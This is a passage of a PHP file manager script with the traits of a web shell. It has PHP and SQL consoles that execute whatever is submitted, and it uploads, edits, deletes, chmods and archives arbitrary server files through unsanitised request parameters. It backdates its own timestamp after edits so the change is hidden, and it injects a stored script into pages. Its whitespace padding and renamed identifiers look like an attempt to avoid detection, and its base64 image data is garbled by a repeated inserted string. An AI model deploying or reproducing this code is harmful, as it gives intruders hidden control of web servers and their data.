    background-image: url("data:image/png;base64,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");

}
<?=fm_home_style()?>
.img {
                                                  
	                 background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWc8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
                                                      
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
                                             
	                 #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                                                                 
	                 #header_table table td {display:inline;float:left;}

}

</style>

</head>
<body>
                                     
<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){

	                 $res = empty($_POST['sql']) ? '' : $_POST['sql'];
                                                                                        
	                 $res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	                 $res = empty($_POST['php']) ? '' : $_POST['php'];
                                      
	                 $res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {
                                                                                      
	                 echo ' 

<table class="whole">
                                                                                  
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
                                                                                                  
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
                          
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
                                                                                             
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                            
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
                                       
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
                                                                                             
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>

</table>
                                                              
<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
                                                                                          
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
                     
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>

</table>';
                                                                          
echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	                 die($proxy_form);
} elseif (isset($res_lng)) {	                 

?>
<table class="whole">
<tr>
                                                                                              
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                   
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	                 if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	                 else echo '</h2></td><td>'.fm_run_input('sql');

	                 ?></td></tr></table></td>
</tr>
<tr>

    <td class="row1">

	                 	                 <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
	                 	                 <form action="" method="POST" name="console">

	                 	                 <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

	                 	                 <input type="reset" value="<?=__('Reset')?>">

	                 	                 <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){
                        
	                 $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	                 $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                      
	                 $select .= '<option value="-1">' . __('Select') . "</option>\n";
                                  
	                 foreach ($tmpl as $key=>$value){

	                 	                 $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	                 }

	                 $select .= "</select>\n";
	                 echo $select;
                                                        
}

?>

	                 	                 </form>
                                                                                                    
	                 </td>

</tr>
</table>

<?php

	                 if (!empty($res)) {

	                 	                 $fun='fm_'.$res_lng;
                                                                               
	                 	                 echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	                 }

} elseif (!empty($_REQUEST['edit'])){
	                 if(!empty($_REQUEST['save'])) {

	                 	                 $fn = $path . $_REQUEST['edit'];
                                                                   
	                 	                 $filemtime = filemtime($fn);
	                     if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
                                                                             
	                 	                 else $msg .= __('Error occurred');
                                   
	                 	                 if ($_GET['edit']==basename(__FILE__)) {

	                 	                 	                 touch(__FILE__,1415116371);
	                 	                 } else {
                                          
	                 	                 	                 if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
	                 	                 }

	                 }

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>

	                 </td>

</tr>

<tr>

    <td class="row1">
                                                     
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	                 </td>
                                                                               
</tr>
                                                                                         
<tr>

    <td class="row1" align="center">
                                                                                            
        <form name="form1" method="post" action="<?=$editlink?>">

            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
                                                                              
            <input type="submit" name="save" value="<?=__('Submit')?>">
                                                                                     
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
                              
    </td>

</tr>

</table>
                                                                                         
<?php

echo $auth['script'];
                          
} elseif(!empty($_REQUEST['rights'])){
	                 if(!empty($_REQUEST['save'])) {
	                     if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

	                 	                 $msg .= (__('File updated')); 
                                     
	                 	                 else $msg .= (__('Error occurred'));

	                 }

	                 clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
                                                                                       
?>

<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>

    <td class="row1">
        <?=$msg?>
                                                          
	                 </td>




</tr>

<tr>

    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>

	                 </td>

</tr>

<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">

           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>

</tr>

</table>

<?php
                                                                                             
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	                 if(!empty($_REQUEST['save'])) {
                                                                                     
	                     rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

	                 	                 $msg .= (__('File updated'));

	                 	                 $_REQUEST['rename'] = $_REQUEST['newname'];

	                 }

	                 clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
                        
    $backlink = $url_inc . '&path=' . $path;



?>
<table class="whole">
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                                  
<tr>
    <td class="row1">

        <?=$msg?>

	                 </td>
                                                                                                   
</tr>
<tr>
    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                                                                               
	                 </td>

</tr>
                                         
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

            <input type="submit" name="save" value="<?=__('Submit')?>">

        </form>
                                             
    </td>

</tr>

</table>
                                                                                         
<?php

} else {
                                                        
//Let's rock!
    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
                                                                  
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
                                         
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');

            } else {

	                 	                 	                 	                 $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
                                                                                     
	                 	                 	                 }
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                                                                              
        if(!fm_del_conjuntoArchivos(($path . $_REQUEST['delete']), true)) {
                                                                            
            $msg .= __('Error occurred');
        } else {
                                                                                                 
	                 	                 	                 $msg .= __('Deleted').' '.$_REQUEST['delete'];

	                 	                 }

	                 } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                                
            $msg .= __('Error occurred');

        } else {

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['dirname'];
	                 	                 }

    } elseif(!empty($_POST['search_recursive'])) {

	                 	                 ini_set('max_execution_time', '0');
                                                                               
	                 	                 $search_data =  find_text_in_conjuntoArchivos($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
                                                                                    
	                 	                 if(!empty($search_data)) {

	                 	                 	                 $msg .= __('Found in conjuntoArchivos').' ('.count($search_data).'):<br>';

	                 	                 	                 foreach ($search_data as $filename) {

	                 	                 	                 	                 $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

	                 	                 	                 }
                             
	                 	                 } else {
	                 	                 	                 $msg .= __('Nothing founded');
	                 	                 }	                 

	                 } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
                                                                         
            $msg .= __('Error occurred');
        } else {
                                                                                            
	                 	                 	                 fclose($fp);

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['filename'];
                                                                          
	                 	                 }
    } elseif (isset($_GET['zip'])) {
                                                                
	                 	                 $source = base64_decode($_GET['zip']);

	                 	                 $destination = basename($source).'.zip';
	                 	                 set_time_limit(0);

	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                                                             
	                 	                 if (is_file($destination))
                        
	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                                 
	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

	                 	                 else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 } elseif (isset($_GET['gz'])) {

	                 	                 $source = base64_decode($_GET['gz']);
	                 	                 $archive = $source.'.tar';
                             
	                 	                 $destination = basename($source).'.tar';
                                                          
	                 	                 if (is_file($archive)) unlink($archive);
                                                                        
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');

	                 	                 clearstatcache();

	                 	                 set_time_limit(0);
	                 	                 //die();
                                                                                                    
	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                            
	                 	                 $phar->compress(Phar::GZ,'.tar.gz');

	                 	                 unset($phar);
                                                                                           
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }
                                                           

                                                                                          
	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
                                                                  
	                 } elseif (isset($_GET['decompress'])) {
	                 	                 // $source = base64_decode($_GET['decompress']);
                                                                                      
	                 	                 // $destination = basename($source);

	                 	                 // $ext = end(explode(".", $destination));
	                 	                 // if ($ext=='zip' OR $ext=='gz') {

	                 	                 	                 // $phar = new PharData($source);

	                 	                 	                 // $phar->decompress();
                     
	                 	                 	                 // $base_file = str_replace('.'.$ext,'',$destination);

	                 	                 	                 // $ext = end(explode(".", $base_file));

	                 	                 	                 // if ($ext=='tar'){

	                 	                 	                 	                 // $phar = new PharData($base_file);
                                
	                 	                 	                 	                 // $phar->extractTo(dir($source));

	                 	                 	                 // }
                                                                     
	                 	                 // } 

	                 	                 // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	                 } elseif (isset($_GET['gzfile'])) {
                         
	                 	                 $source = base64_decode($_GET['gzfile']);
                                                        
	                 	                 $archive = $source.'.tar';
                           
	                 	                 $destination = basename($source).'.tar';
	                 	                 if (is_file($archive)) unlink($archive);
                                             
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');
                              
	                 	                 set_time_limit(0);

	                 	                 //echo $destination;
                                                             
	                 	                 $ext_arr = explode('.',basename($source));

	                 	                 if (isset($ext_arr[1])) {
                                        
	                 	                 	                 unset($ext_arr[0]);
                                                                                   
	                 	                 	                 $ext=implode('.',$ext_arr);

	                 	                 } 
	                 	                 $phar = new PharData($destination);

	                 	                 $phar->addFile($source);

	                 	                 $phar->compress(Phar::GZ,$ext.'.tar.gz');

	                 	                 unset($phar);
                                                                                  
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }

	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                       
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
                                                                  
	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 }
?>
<table class="whole" id="header_table" >

<tr>

    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>

<?php if(!empty($msg)){ ?>
<tr>

	                 <td colspan="2" class="row2"><?=$msg?></td>
                                                                         
</tr>

<?php } ?>

<tr>

    <td class="row2">
                              
	                 	                 <table>

	                 	                 	                 <tr>

	                 	                 	                 <td>

	                 	                 	                 	                 <?=fm_home()?>

	                 	                 	                 </td>
                                                                                                 
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['make_directory'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">
                                                                              
	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
	                 	                 	                 	                 <input type="text" name="dirname" size="15">
	                 	                 	                 	                 <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
                                                                   
	                 	                 	                 	                 </form>
                                                 
	                 	                 	                 <?php } ?>
                                                                                           
	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['new_file'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">

	                 	                 	                 	                 <input type="hidden" name="path"     value="<?=$path?>" />

	                 	                 	                 	                 <input type="text"   name="filename" size="15">
	                 	                 	                 	                 <input type="submit" name="mkfile"   value="<?=__('New file')?>">

	                 	                 	                 	                 </form>
	                 	                 	                 <?php } ?>

	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 	                 <form  method="post" action="<?=$url_inc?>" style="display:inline">

	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
                            
	                 	                 	                 	                 <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

	                 	                 	                 	                 <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

	                 	                 	                 	                 <input type="submit" name="search" value="<?=__('Search')?>">
	                 	                 	                 	                 </form>

	                 	                 	                 </td>

	                 	                 	                 <td>
	                 	                 	                 <?=fm_run_input('php')?>

	                 	                 	                 </td>

	                 	                 	                 <td>

	                 	                 	                 <?=fm_run_input('sql')?>

	                 	                 	                 </td>
	                 	                 	                 </tr>
	                 	                 </table>
    </td>
                                                                                     
    <td class="row3">

